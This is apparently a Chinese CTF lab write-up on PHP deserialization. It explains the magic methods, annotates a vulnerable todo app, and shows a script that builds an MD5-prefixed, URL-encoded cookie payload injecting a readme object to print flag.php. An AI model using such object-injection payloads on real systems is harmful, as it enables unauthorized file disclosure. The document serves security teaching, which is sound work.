知识梳理
1. php序列化
php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。类似于游戏存档。
2. php反序列化
将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。类似于游戏读档。
3. php反序列化漏洞
php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。
__sleep()
serialize() 函数会检查是否存在一个魔术方法 __sleep().如果存在,__sleep()方法会先被调用, 然后才执行序列化操作。
__wakeup
unserialize()会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用_wakeup 方法,预先准备对象需要的资源。
__construct
具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct
某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__toString()
用于一个类被当成字符串时执行
靶场
靶场地址
http://59.63.200.79:8010/uns/index.php
-
代码分析
Class readme{
public function __toString() //定义魔术方法,在对象被当作字符串时触发
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
//返回Readme.txt文件的内容,变量source的内容
}
}
if(isset($_GET['source'])){ //判断get传参里是否有source的值
$s = new readme(); //实体化类readme
$s->source = __FILE__; //将当前文件绝对路径赋值给变量source
echo $s; //echo会把一切当成字符串处理,调用__toString()
exit; //退出
}
//$todos = [];
if(isset($_COOKIE['todos'])){ //判断cookie传参里是否有todos的值
$c = $_COOKIE['todos']; //将todos的值赋值给变量c
$h = substr($c, 0, 32); //截取变量c的前32位字符赋值给变量h
$m = substr($c, 32); //截取变量c从32位后的所有字符赋值给变量m
if(md5($m) === $h){ //判断md5加密后$m的值是否等于$h的值(=== 比较字符类型)
$todos = unserialize($m); //将反序列化后的$m值复制给$todos
}
}
if(isset($_POST['text'])){ //判断post传参中是否有tezt的值
$todo = $_POST['text']; //将text的值赋值给$todo
$todos[] = $todo; //将$todo的值以数组的形式赋值给 $todos数组
$m = serialize($todos); //将$todos序列化后的值赋值给$m
$h = md5($m); //将md5加密后$m的值赋值给 $h
setcookie('todos', $h.$m); //向客户端发送一个cookie,cookie的值为$h.$m
header('Location: '.$_SERVER['REQUEST_URI']); //向客户端发送header头
exit;
}
?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?> //处理数组将数组$todos中的值取出,逐一赋值给$todo
<li><?=$todo?></li> //输出$todo的值等同于echo $todo;
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
if(isset(s = new readme(); //实体化类readme
s; //echo会把一切当成字符串处理,调用__toString()
exit; //退出
}
可以看到成员变量可以控制,只要按照上面代码中对Cookie的处理逻辑,构造好包含着能反序列化为 readme 对象的字符串,然后放到Cookie中去访问,就能将flag.php的内容打印到页面上。
-
本地构建php程序获取反序列化数据
<?php
Class readme{
public function __toString() //定义魔术方法,在对象被当作字符串时触发
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
//返回Readme.txt文件的内容,变量source的内容
}
}
if(isset($_GET['source'])){ //判断get传参里是否有source的值
$s = new readme(); //实体化类readme
$s->source = './flag.php'; //将flag所在位置赋值给source
$s=[$s]; //将$s以数组的形式存储
echo md5(serialize($s)).serialize($s);
//构建cookie格式
}
?>
得到
fae1710f5e51885bcf095e718ca752cca:1:{i:0;O:6:"readme":1:{s:6:"source";s:10:"./flag.php";}}
将得到的值进行url加密
fae1710f5e51885bcf095e718ca752cca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A10%3A%22./flag.php%22%3B%7D%7D
在插件内进行修改
得到flag="zkz{UNs_what_what?}"
评论(0)